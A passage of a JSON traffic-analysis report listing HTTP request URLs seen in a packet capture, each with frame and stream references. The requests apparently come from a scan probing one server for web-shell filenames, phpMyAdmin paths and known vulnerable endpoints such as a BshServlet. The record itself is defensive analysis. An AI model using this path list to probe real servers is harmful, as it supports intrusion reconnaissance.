            "frame_number": 1069,
            "display_filter": "frame.number == 1069",
            "timestamp_epoch": "1577255810.073201000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e62dfdf38a4003b017b55e50",
        "type": "url",
        "value": "http://128.199.64.235/solr/",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 68,
            "frame_number": 2038,
            "display_filter": "frame.number == 2038",
            "timestamp_epoch": "1577256305.855285000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6067d31f2e4fdefd10370852",
        "type": "url",
        "value": "http://128.199.64.235/spider.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 326,
            "display_filter": "frame.number == 326",
            "timestamp_epoch": "1577255434.247442000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-62137ed2d894c011b21af47b",
        "type": "url",
        "value": "http://128.199.64.235/sql.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1011,
            "display_filter": "frame.number == 1011",
            "timestamp_epoch": "1577255797.549583000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-486b062b0edc8cb41ef0f5ca",
        "type": "url",
        "value": "http://128.199.64.235/sql/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2408,
            "display_filter": "frame.number == 2408",
            "timestamp_epoch": "1577256449.910199000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7d93910be4580ee31e01ac55",
        "type": "url",
        "value": "http://128.199.64.235/SQL/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2411,
            "display_filter": "frame.number == 2411",
            "timestamp_epoch": "1577256450.178566000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-786c7d478cd88bafe2642d8a",
        "type": "url",
        "value": "http://128.199.64.235/sqladmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2405,
            "display_filter": "frame.number == 2405",
            "timestamp_epoch": "1577256449.639041000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-06d31c18edc95b34e26c71a8",
        "type": "url",
        "value": "http://128.199.64.235/ss.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1482,
            "display_filter": "frame.number == 1482",
            "timestamp_epoch": "1577256047.060257000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1485,
            "display_filter": "frame.number == 1485",
            "timestamp_epoch": "1577256047.336837000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-dc795365aa1c32e978dff974",
        "type": "url",
        "value": "http://128.199.64.235/Ss.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1562,
            "display_filter": "frame.number == 1562",
            "timestamp_epoch": "1577256081.604561000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a039d26c496673ea299ea85f",
        "type": "url",
        "value": "http://128.199.64.235/ssaa.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1240,
            "display_filter": "frame.number == 1240",
            "timestamp_epoch": "1577255886.435732000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1243,
            "display_filter": "frame.number == 1243",
            "timestamp_epoch": "1577255886.702643000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4402f9e9420dc93ce7f8c7e1",
        "type": "url",
        "value": "http://128.199.64.235/sss.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1476,
            "display_filter": "frame.number == 1476",
            "timestamp_epoch": "1577256045.901156000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1488,
            "display_filter": "frame.number == 1488",
            "timestamp_epoch": "1577256049.605093000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7303e043ea3aeefaf3a2668d",
        "type": "url",
        "value": "http://128.199.64.235/super.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1848,
            "display_filter": "frame.number == 1848",
            "timestamp_epoch": "1577256204.114340000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-047024c1ae4d53437f443503",
        "type": "url",
        "value": "http://128.199.64.235/system.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1024,
            "display_filter": "frame.number == 1024",
            "timestamp_epoch": "1577255802.709185000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1206,
            "display_filter": "frame.number == 1206",
            "timestamp_epoch": "1577255872.119861000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-205bb707266cb4b15023a0ce",
        "type": "url",
        "value": "http://128.199.64.235/sz.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 33,
            "frame_number": 1163,
            "display_filter": "frame.number == 1163",
            "timestamp_epoch": "1577255832.619109000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c5fd03b39b287cfa9c550e48",
        "type": "url",
        "value": "http://128.199.64.235/t00ls.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 960,
            "display_filter": "frame.number == 960",
            "timestamp_epoch": "1577255783.117576000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ff4cef2f257634bbc9928103",
        "type": "url",
        "value": "http://128.199.64.235/t6nv.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 159,
            "display_filter": "frame.number == 159",
            "timestamp_epoch": "1577255387.153369000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-954021d472dd745d4b0b632d",
        "type": "url",
        "value": "http://128.199.64.235/taisui.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 12,
            "frame_number": 484,
            "display_filter": "frame.number == 484",
            "timestamp_epoch": "1577255524.481795000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c013b450ce251e0adeaf582b",
        "type": "url",
        "value": "http://128.199.64.235/test.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 31,
            "display_filter": "frame.number == 31",
            "timestamp_epoch": "1577255334.310821000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 92,
            "display_filter": "frame.number == 92",
            "timestamp_epoch": "1577255368.816147000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 990,
            "display_filter": "frame.number == 990",
            "timestamp_epoch": "1577255789.986358000"
          },
          {
            "tcp_stream": 39,
            "frame_number": 1303,
            "display_filter": "frame.number == 1303",
            "timestamp_epoch": "1577255919.106292000"
          },
          {
            "tcp_stream": 49,
            "frame_number": 1448,
            "display_filter": "frame.number == 1448",
            "timestamp_epoch": "1577256033.847521000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-973c1939e5a2fd80bb536472",
        "type": "url",
        "value": "http://128.199.64.235/test123.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1027,
            "display_filter": "frame.number == 1027",
            "timestamp_epoch": "1577255802.994536000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f5fbf82012edbdd23a11655c",
        "type": "url",
        "value": "http://128.199.64.235/text.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 165,
            "display_filter": "frame.number == 165",
            "timestamp_epoch": "1577255389.821626000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c5cc264d82bf2402a22ac72b",
        "type": "url",
        "value": "http://128.199.64.235/think.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1030,
            "display_filter": "frame.number == 1030",
            "timestamp_epoch": "1577255803.369421000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-34719923516fb2daf51ac19a",
        "type": "url",
        "value": "http://128.199.64.235/tiandi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1353,
            "display_filter": "frame.number == 1353",
            "timestamp_epoch": "1577255966.008833000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bfb4c81f423e021b5590f1cd",
        "type": "url",
        "value": "http://128.199.64.235/tomcat.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1373,
            "display_filter": "frame.number == 1373",
            "timestamp_epoch": "1577255975.154437000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f6eb1d4671f0c395d68ef875",
        "type": "url",
        "value": "http://128.199.64.235/tools.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 984,
            "display_filter": "frame.number == 984",
            "timestamp_epoch": "1577255788.861062000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 1002,
            "display_filter": "frame.number == 1002",
            "timestamp_epoch": "1577255795.343770000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ce3ae7efa76aef1968c224de",
        "type": "url",
        "value": "http://128.199.64.235/tools/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2209,
            "display_filter": "frame.number == 2209",
            "timestamp_epoch": "1577256378.086161000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-73b26d8014252fe7356f9b76",
        "type": "url",
        "value": "http://128.199.64.235/toor.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1719,
            "display_filter": "frame.number == 1719",
            "timestamp_epoch": "1577256145.647566000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fa34f1f09317e6fb319613f2",
        "type": "url",
        "value": "http://128.199.64.235/tt.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 21,
            "frame_number": 687,
            "display_filter": "frame.number == 687",
            "timestamp_epoch": "1577255655.051084000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-211c0a4fa05cc78756a5b9d5",
        "type": "url",
        "value": "http://128.199.64.235/ttt.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 773,
            "display_filter": "frame.number == 773",
            "timestamp_epoch": "1577255691.761766000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-96a3895849391799e1cb0a38",
        "type": "url",
        "value": "http://128.199.64.235/tty.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 735,
            "display_filter": "frame.number == 735",
            "timestamp_epoch": "1577255678.591917000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-06fca07a4d5faa969166790b",
        "type": "url",
        "value": "http://128.199.64.235/typo3/phpmyadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2228,
            "display_filter": "frame.number == 2228",
            "timestamp_epoch": "1577256382.526311000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4a55d496bf2d8818ba0e2c17",
        "type": "url",
        "value": "http://128.199.64.235/tyrant.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 779,
            "display_filter": "frame.number == 779",
            "timestamp_epoch": "1577255693.558552000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-34e18176c422362db258209b",
        "type": "url",
        "value": "http://128.199.64.235/u.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 49,
            "frame_number": 1459,
            "display_filter": "frame.number == 1459",
            "timestamp_epoch": "1577256042.659716000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1467,
            "display_filter": "frame.number == 1467",
            "timestamp_epoch": "1577256043.081696000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-34e693e0ccec64445cdb5169",
        "type": "url",
        "value": "http://128.199.64.235/undx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 322,
            "display_filter": "frame.number == 322",
            "timestamp_epoch": "1577255433.965520000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0d8dc4f6a99792199f6dee3f",
        "type": "url",
        "value": "http://128.199.64.235/up.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 399,
            "display_filter": "frame.number == 399",
            "timestamp_epoch": "1577255484.120987000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-493bc362b89782b5d011082b",
        "type": "url",
        "value": "http://128.199.64.235/Updata.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1900,
            "display_filter": "frame.number == 1900",
            "timestamp_epoch": "1577256228.385593000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d03e5c82a65b25c679df557a",
        "type": "url",
        "value": "http://128.199.64.235/uploader.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 187,
            "display_filter": "frame.number == 187",
            "timestamp_epoch": "1577255393.486800000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-128d713ccc0617b36bf4f422",
        "type": "url",
        "value": "http://128.199.64.235/uu.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1722,
            "display_filter": "frame.number == 1722",
            "timestamp_epoch": "1577256145.914594000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bac99f06ede7307c0e8c019e",
        "type": "url",
        "value": "http://128.199.64.235/uuu.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 753,
            "display_filter": "frame.number == 753",
            "timestamp_epoch": "1577255683.065390000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1473,
            "display_filter": "frame.number == 1473",
            "timestamp_epoch": "1577256045.623089000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4ac7f57fd54b2582a56f9852",
        "type": "url",
        "value": "http://128.199.64.235/v/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2249,
            "display_filter": "frame.number == 2249",
            "timestamp_epoch": "1577256389.868277000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-abe97fc7eb977648f3e691ed",
        "type": "url",
        "value": "http://128.199.64.235/ver.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1538,
            "display_filter": "frame.number == 1538",
            "timestamp_epoch": "1577256070.143681000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-25a6e728e080b3234aa8bede",
        "type": "url",
        "value": "http://128.199.64.235/vuln.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1933,
            "display_filter": "frame.number == 1933",
            "timestamp_epoch": "1577256245.437344000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5d5b7425cff9d2a874e310dc",
        "type": "url",
        "value": "http://128.199.64.235/vuln1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1936,
            "display_filter": "frame.number == 1936",
            "timestamp_epoch": "1577256245.702655000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-18d207cc01141b676f4c40e6",
        "type": "url",
        "value": "http://128.199.64.235/vvv.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 605,
            "display_filter": "frame.number == 605",
            "timestamp_epoch": "1577255622.541671000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-11a102947ed94a87446445bc",
        "type": "url",
        "value": "http://128.199.64.235/w.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 578,
            "display_filter": "frame.number == 578",
            "timestamp_epoch": "1577255609.058608000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-18de55a86e3c232fa2267951",
        "type": "url",
        "value": "http://128.199.64.235/wan.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1234,
            "display_filter": "frame.number == 1234",
            "timestamp_epoch": "1577255885.851446000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7ac73dfabbe76ef8b095446d",
        "type": "url",
        "value": "http://128.199.64.235/wanan.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1237,
            "display_filter": "frame.number == 1237",
            "timestamp_epoch": "1577255886.133808000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2718a918366cd492ab060f37",
        "type": "url",
        "value": "http://128.199.64.235/wb.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1731,
            "display_filter": "frame.number == 1731",
            "timestamp_epoch": "1577256150.816732000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-be8892b1921c64d8ce220dd1",
        "type": "url",
        "value": "http://128.199.64.235/wc.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 567,
            "display_filter": "frame.number == 567",
            "timestamp_epoch": "1577255601.643251000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6b4f755c30528f5dc0db018d",
        "type": "url",
        "value": "http://128.199.64.235/wcp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 49,
            "frame_number": 1455,
            "display_filter": "frame.number == 1455",
            "timestamp_epoch": "1577256037.540611000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8abb3ea66bcd891c5fd61697",
        "type": "url",
        "value": "http://128.199.64.235/weathermap/editor.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 261,
            "display_filter": "frame.number == 261",
            "timestamp_epoch": "1577255406.113808000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-47eed3d3827bbde1ec978863",
        "type": "url",
        "value": "http://128.199.64.235/weaver/bsh.servlet.BshServlet",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 68,
            "frame_number": 2035,
            "display_filter": "frame.number == 2035",
            "timestamp_epoch": "1577256304.532786000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8541056389fdbb8468626241",
        "type": "url",
        "value": "http://128.199.64.235/web/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2117,
            "display_filter": "frame.number == 2117",
            "timestamp_epoch": "1577256353.229511000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a88baf6f0da5969c4fe5d351",
        "type": "url",
        "value": "http://128.199.64.235/webslee.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
